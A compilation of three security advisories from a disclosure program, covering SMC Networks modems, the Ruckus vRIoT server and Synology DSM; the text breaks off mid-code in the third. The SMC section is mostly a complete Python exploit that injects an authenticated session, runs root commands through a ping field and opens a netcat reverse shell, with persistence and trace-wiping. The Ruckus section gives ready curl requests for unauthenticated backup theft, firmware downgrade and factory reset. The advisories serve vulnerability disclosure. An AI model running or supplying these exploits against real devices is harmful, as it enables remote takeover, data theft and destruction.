SSD Advisory – SMC Networks Session and Command Injection

TL;DR

Find out how we managed to inject an auth session into the device and through it gain a reverse root tcp shell in SMC Networks devices.

Vulnerability Summary

SMC Networks provides many Network products, one of them is Modems.
SMC’s Modems are used to transmit data over between your connected devices in your Network.
A vulnerability in SMC Networks Modems route callback allows attacker to inject code/sessions and gain reverse root shell.

CVE

CVE-2020-13766

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

D3G1604W-4.2.3.8.1-GW_GA,

D3G0804W-3.5.2.7-LAT_GA,

SMCD3GNV5M-3.5.2.5-LAT_GA,

D3G0804W-3.5.2.5-LAT_GA,

SMCD3GNV5M-3.5.1.6.10_GA,

SMCD3GNV5M-3.5.1.6.5-GA,

D3G0804W-3.5.1.7_GA,

SMCD3GNV5M-3.5.1.7_GA,

SMCD3GNV5M-3.5.2.7-LAT_GA,

D3G0804W-3.5.1.6.10_GA,

D3G1604W-4.2.3.6.3-GW_GA,

SMCD3GNV5M-3.5.1.6.3_GA,

D3G0804W-3.5.1.6.3_GA

Vendor Response

We tried to contact the vendor several times via email and twitter, and we were unable to receive any response or acknowledgement to our attempts.

Vulnerability Details

In SMC Networks products the function that handles the “/goform/formParamRedirectUrl” route callback has a parameter “param_str” that is copied on a global object “pCgrGuiObject” at an offset of 0x1c.

This shared object is found in the “/usr/cgr/lib/libgui.so” code. This global object provides many different types of functions including managing and validation of sessions.

Using an unbounded strcpy in the callback mentioned above we are able write a crafted message and overwrite the session data and add our own session to the global object. Subsequent requests sent after this session injection has occurred will show up as authenticated.

Once we are authenticated we can the endpoint “/goform/formSetDiagnosticToolsFmPing”’s “vlu_diagnostic_tools__ping_address” parameter which is not filtered and can be used to inject command into the OS.

The vulnerable code is found inside the “/usr/cgr/bin/modules/diagnostic_tools/diagnostic_tools.so” file.

The parameter we can use to inject data and run it as root, is limited to 32 characters, we therefore need to break any longer commands we want to run to several smaller commands and then chain them together.

Demo

Exploit

In the demo below we are getting simple reverse tcp shell, with the use of ngrok and not using public ip. You can change in the code the ngrok to public ip.

Also ngrok’s ips are riddled with random traffic of the previous user tied to that port. If any such traffic occurred it will throw off the revere shell listener ncat which is why the shell won’t drop. in such case close and restart the script. The endpoint won’t crash if the process is interrupted. Or switch to a public ip:port option.

sbin/env -S -- /usr/bin/python3

import threading
import requests
import os
import time
import re
import subprocess
import sys
import json
import argparse
import gzip
import random
import logging
import urllib3
import urllib.parse
import string 
from base64 import b64encode

class SMC:
	def __init__(self, url, pseudonym, ngrok_auth_token = '', shell_listen_ip = '', shell_listen_port = 8888):
		self.make_model = "SMC"
		self.vuln_type = "Root RCE"
		self.pseudonym = pseudonym
		
		#array of callbacks with functionality with a minumum of [shell, device_check, ...]
		self.functionalities = {
			"DEVICE_CHECK" : [self.device_check,"Checks if device is the target model and version range"],
			"VULNERABLE_CHECK" : [self.vulnerable_check,"Checks if device is vulnerable."],
			"DROP_SHELL" : [self.shell_drop,"Drops an interactive shell using the vulnerability."],
			"EXECUTE_COMMAND" : [self.execute_command,"Executes a single command."],
		}
		url_regex = re.compile(r"http[s]?://((?:[a-zA-Z\.\-]|[0-9]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+)(?:[:]([0-9]{1,5}))?", re.IGNORECASE)
		url_match = re.match(url_regex, url)
		if url_match:
			self.url = url.strip("/")
			self.ip = url_match.group(1)
		else:
			logging.critical("Invallid url provided. Exiting...")
			exit(1)
		
		self.ngrok_auth_token = ngrok_auth_token
		self.shell_listen_ip = shell_listen_ip
		self.shell_listen_port = shell_listen_port
		self.cookies = {"session": "19e73828937f05e6f709e29efdb0a82b394141666",}
		self.dir_path = os.path.dirname(os.path.realpath(__file__))
		self.session_injected = False
		self.feedback_already_set_up = False
		self.rtcp_command_sent = False
		# self.rando = "".join(random.choices(string.ascii_uppercase + string.digits, k = 3)) # "SMC" #
		self.cmd_loc = '/tmp/t'
		self.persistent_cmd_loc = '/nvram/0/sys_setup.sh'
		self.shell_prompt = f"{self.make_model}@{self.ip}>|"

		self.configs = []
		self.logs = []

	def present_functionalities(self):
		print("---------------------------------------------------------------------------------------------")
		print("Exp 0.1.3 - {} - {} - by {}".format(self.make_model, self.vuln_type, self.pseudonym))
		for number,(key, functionality) in zip(range(1,len(self.functionalities)+1), self.functionalities.items()) :
			print("\t[{}]-{} => {}".format(number, key, functionality[1]))
		print("\t[{}]-{} => {}".format(0, "EXIT", "Gracefully exit wiping traces of presence."))

	def run(self):
		logging.info("Operating on {} - . - by {}".format(self.url,  self.pseudonym))
		if (self.device_check()):# and self.vulnerable_check()):
			self.present_functionalities()
			choice = float('inf')
			while choice != 0:
				try:
					choice = int(input("----------Choice-> "))
					while (type(choice) == int and 0 < choice <= len(self.functionalities)):
						self.functionalities[list(self.functionalities.keys())[choice - 1]][0]()
						self.present_functionalities()
						choice = int(input("----------Choice-> "))
				except ValueError as e :
					logging.debug(e)
					print("Numbers only!!", end="")
					pass
		else:
			logging.critical(f"Target {self.url} is not available or of the right device type.")
			self.quit()
			exit(1)
		self.quit()

	#FUNCTIONILITY["DEVICE_CHECK"]
	#checks if device is the target model and version
	def device_check(self):
		try:
			logging.info("Checking if the given address is a SMC Device")
			req = requests.get(self.url+"/home.asp", verify=False)
			if req.status_code != 200:
				logging.critical("Invalid response to probe request for device checking, Exiting..")
				return False
			response_html = req.text
			title_regex = re.compile(r".*<title>.*SMC.*</title>.*", re.IGNORECASE)
			if not title_regex.search(response_html):
				logging.critical("The URL does not appear to be a SMC Device, Exiting")
				return False
			# TODO: add more fingerprinting functionality
			logging.info("Device is a SMC Device :!)")
		except Exception as ex:
			logging.critical(f"Error {ex} occured while checking the device")
			return False
		return True
		
    #FUNCTIONILITY["VULNERABLE_CHECK"]
	#check if device is vulnerable
	def vulnerable_check(self):
		logging.info("Checking if the SMC Device is vulnerable.")
		test_code = "".join(random.choices(string.ascii_uppercase + string.digits, k = 10))
		output = self.execute_command(f"echo -n {test_code}", feedback=True)
		self.rtcp_command_sent = False
		if test_code in output:
			logging.info("SMC Device is vulnerable.")
			return True	
		logging.info("SMC Device not is vulnerable. Terminating!!!!!")
		return False

	#FUNCTIONILITY[DROP_SHELL]
	#drop to an interactive shell
	def shell_drop(self):
		listen_port = self.shell_listen_port
		if self.ngrok_auth_token != '':
			listen_port, ngrok_process_handle = self.listen_on_ngrok()
		
		if listen_port is not None :
			t1 = threading.Thread(target=self.listen_for_incoming_shell)
			t1.start()
			try:
				if t1.is_alive():
					command = f"rm /tmp/SMC;mkfifo /tmp/SMC;cat /tmp/SMC|/bin/sh -i 2>&1|nc {self.shell_listen_ip} {listen_port} >/tmp/SMC"
					self.execute_command(command, already_injected=self.rtcp_command_sent)
					self.rtcp_command_sent = True
					logging.info("You should have a shell by now %)")
					logging.info("Run 'kill `ps | grep [c]gr_httpd|awk '{$1=$1};1'|cut -d' ' -f1`;/usr/cgr/bin/cgr_httpd &' to make webportal function normally [RECOMMENDED].")
					t1.join()
			except Exception as e:
				print(e)
				pass
		else:
			logging.debug("Problem setting up a ngrok tunnel to the provided listening port.")
			logging.info("Error.")
		# ngrok_process_handle.terminate()

	#FUNCTIONILITY[EXECUTE_COMMAND]
	def execute_command(self, cmd="", feedback=False, already_injected=False, persistent=False):
		if cmd == "":
			self.rtcp_command_sent = False
			cmd = input("Command : ")
			feedback = False if (str.upper(input("Do you need to see the output of the commad? [Y]/N: ")) == "N") else True
			persistent = True if (str.upper(input("Store the command persistently? Y/[N]: ")) == "Y") else False

		self.inject_session()

		if feedback:
			cmd += " 2>&1 >/usr/cgr/www/vpn/output;"
			if not self.feedback_already_set_up:
				# set up tmp area in www
				feedback_setup_command = "mount -t tmpfs tmpfs /usr/cgr/www/vpn;"
				self.execute_command(feedback_setup_command)
				self.feedback_already_set_up = True

		if persistent:
			cmd = cmd.strip().strip(';')
			cmd += f";echo \"/usr/sbin/iccctl start;{cmd};\">{self.persistent_cmd_loc};"

		logging.info(f"Transmitting command '{cmd}'")
		if not already_injected:
			command = f"rm /tmp/t /usr/cgr/www/vpn/*"
			short_single_command_data = f"vlu_diagnostic_tools__ping_address==$({command})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=short_single_command_data, verify=False)

			# chop_up_command 
			params_format = "vlu_diagnostic_tools__ping_address=$(echo -n '{}'>>{})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			compressed_command = b64encode(gzip.compress(cmd.encode('ascii')))
			logging.debug(f"Transmitting command {cmd} compressed as {compressed_command}")
			cmd_list = [compressed_command[x:x+11] for x in range(0,len(compressed_command),11)]
			for cmd_bit in cmd_list:
				print(".", end="", flush=True)
				# logging.debug(cmd_bit.decode())
				logging.debug("$(echo -n '{}'>>{})".format(urllib.parse.quote(cmd_bit), self.cmd_loc))
				response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=params_format.format(urllib.parse.quote(cmd_bit), self.cmd_loc), verify=False)
				logging.debug(f"Response wile transmitting command bit {cmd_bit} => {response.headers}")

		try:
			logging.info(f"Executing command...")
			data = f"vlu_diagnostic_tools__ping_address=$(cat {self.cmd_loc}|base64 -d|zcat|sh)&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, timeout=5, data=data, verify=False)
			# logging.info("Done executing command.")
		except requests.exceptions.ReadTimeout:
			pass
		except requests.exceptions.ConnectionError as e:
			logging.info("Target Disconnected")
			pass
			
		if feedback:
			try:
				response = requests.post(f"{self.url}/vpn/output", cookies=self.cookies, timeout=5, data=data, verify=False)
				return response.text
			except requests.exceptions.ReadTimeout:
				pass

	#FUNCTIONILITY[EXIT]
	#reboot seems the cleanest way
	def quit(self):
		if self.session_injected:
			self.execute_command("rm /tmp/t /tmp/SMC; umount /usr/cgr/www/vpn; kill `ps | grep [c]gr_httpd|awk '{$1=$1};1'|cut -d' ' -f1`;/usr/cgr/bin/cgr_httpd &")
		os.system("pkill -xe ngrok")
		os.system("pkill -xe ncat")

	################################# Unique Functions Area ####################
	def inject_session(self):
		if self.session_injected:
			return
		params_format = "param_int=78&param_str=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{}"
		injection_fuzz_list = [f"ÿÿÿAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsession={self.cookies['session']}","ÿÿ","ÿ",""]
		logging.info("Injecting Session!!!")
		for appendee in injection_fuzz_list:
			print(".", end="", flush=True)
			response = requests.post(f"{self.url}/goform/formParamRedirectUrl", cookies=self.cookies, data=params_format.format(appendee), verify=False)
		logging.info("Session injected succesfully!!!")
		self.session_injected = True

	def listen_on_ngrok(self):
		# set up ngrok subprocess
		listen_port = None
		ngrok_process = subprocess.Popen([f"{self.dir_path}/ngrok.exe", "tcp", f"{self.shell_listen_port}", "--authtoken", f"{self.ngrok_auth_token}"], stdout=subprocess.PIPE)
		time.sleep(5)
		localhost_ngrok_monitor_url = "http://localhost:4040/api/tunnels"
		tunnels = requests.get(localhost_ngrok_monitor_url).text #Get the tunnel information
		if tunnels is not None and json.loads(tunnels)['tunnels']:
			j = json.loads(tunnels)
			if self.shell_listen_port == j['tunnels'][0]['config']['addr'].split(':')[1]:
				tunnel_url = j['tunnels'][0]['public_url']
				listen_port = tunnel_url.split(":")[2]
				logging.info(f"Ngrok: Listening on {tunnel_url} -> {j['tunnels'][0]['config']['addr']}")
			else:
				ngrok_process.terminate()
				return None, None
		return listen_port, ngrok_process
		
	def listen_for_incoming_shell(self):
		print("Running ncat.exe: {}".format([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"]))
		with subprocess.Popen([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=sys.stdin, universal_newlines=True) as ncat_process:
			ncat_output = ncat_process.stdout.readlines(300)
			print("ncat_output: {}, found?: {}".format(ncat_output, any("Listening" in s for s in ncat_output)))
			ncat_status = ncat_output[1].strip().split()[1]
			print("ncat_status: {}".format(ncat_status))
			if any("Listening" in s for s in ncat_output):
				logging.info(ncat_output[1].strip())
				while ncat_process.poll() is None:
					print(self.shell_prompt, ncat_process.stdout.readline().strip())
			else:
				logging.critical(ncat_output[1].strip())
			ncat_process.terminate()


def parse_ip_port(arg_value, pat=re.compile(r"((?:[a-zA-Z\.\-]|[0-9]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+)(?:[:]([0-9]{1,5}))?", re.IGNORECASE)):
	url_match = pat.match(arg_value)
	if not url_match:
		raise argparse.ArgumentTypeError
	return url_match.group(1), url_match.group(2)

if __name__ == "__main__":
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
	# logging.basicConfig(level=logging.DEBUG)
	logging.basicConfig(level=logging.INFO)
	parser = argparse.ArgumentParser(description='SMC Root RCE params')
	parser = argparse.ArgumentParser(description='Required: public ip or ngrok authentication token to use their public ip.')
	parser.add_argument('url', metavar='IP|FQDN', type=str, help='Target URL without path')
	rev_shell_ip = parser.add_mutually_exclusive_group()
	rev_shell_ip.add_argument('--ngrok_auth_token', metavar='auth_token', type=str, nargs=1,
		help='ngrok authentication token to listen on a pulic IP for reverse shell connection.', default=[''])
	rev_shell_ip.add_argument('--listen_ip_port', metavar='ip:port', type=parse_ip_port, nargs=1, default=[('0.tcp.ngrok.io','8888')],
		help='public facing IP and port to get a shell through.')
	args = parser.parse_args()
	SMC(args.url,"unknown", args.ngrok_auth_token[0], args.listen_ip_port[0][0], args.listen_ip_port[0][1]).run()


SSD Advisory – Ruckus IoT vRIoT Server Vulnerabilities

Vulnerability Summary
The Ruckus IoT Suite is a collection of network hardware and software infrastructure used to enable multi-standard Internet of Things devices access the network. The IoT Controller, part of the IoT Suite, is a virtual controller that performs connectivity, device and security management for non Wi-Fi devices.
Many functionalities are exposed by the IoT Controller which naturally require a form of authentication. Authentication is present in the Controller in the form of a login mechanism, but there are many functions which ignore the authentication of a user and allow unauthorized users to issue different commands, resulting in potential security breaches.

CVE
CVE-2020-8005

Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Ruckus IoT vRIoT Version 1.4

Vendor Response
Placeholder

Vulnerability Details
There are multiple unprotected functions in the Controller portal of the Ruckus IoT server. Many functions, such as changing the admin password, are protected by authentication and return a 401 Unauthorized when called without supplying an authentication header or cookie, proving one is an authorized user of the system. But there are many other functions which aren’t protected and a remote unauthenticated user can use them to gain privileged access and disable privileged processes or access sensitive data. Many exploitable bugs were found, which include:

  1. Remote pre-auth configuration manipulation
  2. Full access to backups including restoration, retrieval and deletion of backups.
  3. Downgrading and upgrading firmware versions
  4. Control of system services
  5. Remote factory reset of the server

There are 3 other unprotected functions which yield unclear security impact and were not investigated further, but are nevertheless included.

Reproduction
Remote Configuration Change
The service located at /service/init is responsible for configuration management. When sending it an HTTP PATCH request, the supplied JSON formatted configuration will be interpreted and saved. This allows the configuration of different important settings such as DNS servers.

curl -i -s -k -X 'PATCH'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5'                                           \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 267'                                                                        \
-H 'Connection: close'                                                                          \
--data-binary '{"configurations":{"hostname":"vriot1","dns":"8.8.8.8","timezone":"America/Los_Angeles","ipv4_mode_radio":"1","ip-address":"iot-server","dns2":"8.8.4.4","gateway":"10.10.10.1","subnet-mask":"255.255.255.0","systemtime":["1",null,"ntp.ubuntu.com"],"key":"","cert":""}}' \
'https://iot-server/service/init'

The device needs to reboot it’s services, which should all happen automatically as part of it’s routine, and only then the change will take effect.


Manipulation of Arbitrary Backups
The backup manipulation service, which is located at /service/v1/db, allows for three operations: loading, downloading and deletion of backup files.
Loading backups:
When sending an HTTP POST request to /service/v1/db/restore the server will restore the backups file requested in the request body. This name can be either known beforehand or bruteforced, as the filename follows a specific pattern.

curl -i -s -k -X 'POST'                                                                         \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/restore'

Device will reboot to restore the arbitrarily chosen backup
Downloading backups:
Sending an HTTP GET to /service/v1/db/backup with filename as a parameter will yield you the requested backup file. This name can either be known beforehand or brute forced easily.

curl -i -s -k -X 'GET'                                                                          \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
'https://iot-server/service/v1/db/backup?fileName=VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz'
HTTP/1.1 200 OK
...
{"message": {"ok": 1, "file_path": "/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}}
wget https://iot-server/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz

Deleting backups:
Sending an HTTP DELETE request to /service/v1/db/backup will enable the deletion of backup files. The filename of the backup is supplied through the parameter.

curl -i -s -k -X 'DELETE'                                                                       \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-03-53-40_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/backup'

Firmware Version Manipulation
The service located in /service/upgrade/flow allows changing the firmware of the device. This allows downgrade attacks, where a potential attacker may change the firmware to a vulnerable one.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 24'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"version":"1.4.0.0.17"}'                                                        \
'https://iot-server/service/upgrade/flow'

The device will reboot if the supplied firmware version exists.


Service Manipulation
The service located at /module/ allows for three operations: stop, start and restart. The operation can be appended URL, and the name of the process is specified using the parameter. The name of the process can be retrieved through a terminal of a machine running the operating system, like a virtual machine.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 23'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"process":"core:mqtt"}'                                                         \
'https://iot-server/module/stop'

Remote Factory Reset
The service running at /reset enable issuing a factory reset of the machine. This deletes all configurations and information stored on the machine. This functionality enables an attacker to create a Denial of Service attack.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
-H 'Content-Length: 0'                                                                          \
'https://iot-server/reset'

Additional Bugs (unknown impacts)

  • Upload new images
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"test.image\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/upgrade/upload'
    
  • Upload patches
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name="\file\"; filename=\"test.patch\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/patch/upload'
    
  • Diagnostic Data (The generate diagnostic data button is protected and must already have been generated by an admin prior)
    curl -i -s -k  -X 'GET'                                                                         \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'                    \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'Connection: close'                                                                          \
    -H 'Upgrade-Insecure-Requests: 1'                                                               \
    'https://iot-server/static/diagnostic/diagnostic_2019-09-26-20-43-42.tar.gz'
    

SSD Advisory – Synology DSM Remote Command Injection

Introduction
Network-attached storage devices allow multiple users and heterogeneous client devices to retrieve data from centralized disk capacity. These NAS stations are a must for secured file sharing and thus becoming a popular target for hacking attempts. Read below on how a fellow researcher working with our team demonstrated getting access via Authenticated Remote Command into a Synology’s DiskStation Manager.
Remote Command Injection and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerability Summary
The following advisory describes an Authenticated Remote Command Injection in Synology’s DiskStation Manager.
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
Synology DSM version 6.2.2 before update 24922
Vendor Response
Synology has fixed the vulnerability in DSM version 6.2.2-24922. For more information see Synology-SA-19:37 DSM.
Vulnerability Details
This vulnerability is similar to CVE-2017-12075, which was fixed in DSM 6.2-23739.
When setting PPPoE network in EZ-Internet, a username and password pair is required for authentication and is saved in /etc/ppp/pppoe.conf.
The following code snippet exists in Synology’s DSM 6.2-23739:

// PPPoEConfigSet() in /usr/lib/libsynonetsdk.so.6
__int64 __fastcall PPPoEConfigSet(...)
{
  // ...
  v46 = SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "ETH", &a7, "%s=%s\n");
  v47 = "/etc/ppp/pppoe.conf";
  v48 = 257LL;
  if ( v46 < 0 )
    goto LABEL_17;
  v49 = "no";
  if ( a46 )
    v49 = "yes";
  v50 = SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "DEFAULTROUTE", v49, "%s=%s\n");
  v47 = "/etc/ppp/pppoe.conf";
  v48 = 262LL;
  if ( v50 < 0 )
    goto LABEL_17;
  v51 = &a7;
  v73[0] = '\'';
  v52 = 1;
  while ( 1 )			// fix for CVE-2017-12075: wrap username with ''
  {
    v53 = *((_BYTE *)v51 + 16);
    v54 = v52 + 1;
    if ( !v53 )
      break;
    if ( v53 == '\'' )
    {
      if ( v52 > 505 )
        break;
      v73[v52] = '\'';
      v73[v54] = '"';
      v73[v52 + 2] = '\'';
      v55 = v52 + 3;
      v52 += 4;
      v73[v55] = '"';
      v73[v52] = '\'';
    }
    else
    {
      if ( v52 > 509 )
        break;
      v73[v52] = v53;
    }
    ++v52;
    v51 = (int *)((char *)v51 + 1);
  }
  v73[v52] = '\'';
  v73[v54] = 0;
  if ( SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "USER", v73, "%s=%s\n") < 0 )
  {
   // ...
  }
  // !!! MTU parameter still suffers from the same issue
  if ( SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "MTU", &a45, "%s=%s\n") < 0 )
  {
    // ...
  }
  //...
}

As we can see, the username is wrapped with single quotes to fix CVE-2017-12075. In addition, there are some other parameters which will be saved in /etc/ppp/pppoe.conf such as the MTU.
In the function syno::network::PPPoEInterface::SetData(), there exists a check against the parameters before the call to syno::network::PPPoEInterface::Apply(). These parameters are obtained directly from the HTTP request which is controlled by the user, including the username and mtu_config. It should be noted that the length of mtu_config is limited to less than 8 characters.

// syno::network::PPPoEInterface::Check() in /usr/lib/libwebapi-Network-Share.so
signed __int64 __fastcall syno::network::PPPoEInterface::Check(__int64 a1, Json::Value *a2)
{
  // ...
  v2 = a1;
  if ( (unsigned __int8)Json::Value::isMember(a2, "ifname") )
  {
    Json::Value::operator[](a2, "ifname");
    Json::Value::asString((Json::Value *)&v20);
    v3 = std::string::compare((std::string *)&v20, "pppoe");
    // ...
    if ( v3 )
    {
      v17 = (Json::Value *)Json::Value::operator[](a2, "ifname");
      v18 = Json::Value::asCString(v17);
      syslog(3, "%s:%d Incorrect ifname [%s]", "pppoe_interface.cpp", 412LL, v18);
      result = 0xFFFFFFFFLL;
    }
    else
    {
      if ( (unsigned __int8)Json::Value::isMember(a2, "real_ifname") )
      {
        v12 = (Json::Value *)Json::Value::operator[](a2, "real_ifname");
        v13 = Json::Value::asCString(v12);
        snprintf((char *)(v2 + 396), 0x10uLL, "%s", v13);
      }
      else
      {
        snprintf((char *)(v2 + 396), 0x10uLL, "%s", v2 + 64);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "username") )
      {
        v5 = (Json::Value *)Json::Value::operator[](a2, "username");
        v6 = Json::Value::asCString(v5);
        snprintf((char *)(v2 + 412), 0x100uLL, "%s", v6);
      }
      else
      {
        snprintf((char *)(v2 + 412), 0x100uLL, "%s", v2 + 80);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "password") )
      {
        v7 = (Json::Value *)Json::Value::operator[](a2, "password");
        v8 = Json::Value::asCString(v7);
        snprintf((char *)(v2 + 668), 0x20uLL, "%s", v8);
      }
      else
      {
        snprintf((char *)(v2 + 668), 0x20uLL, "%s", v2 + 336);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "mtu_config") )
      {
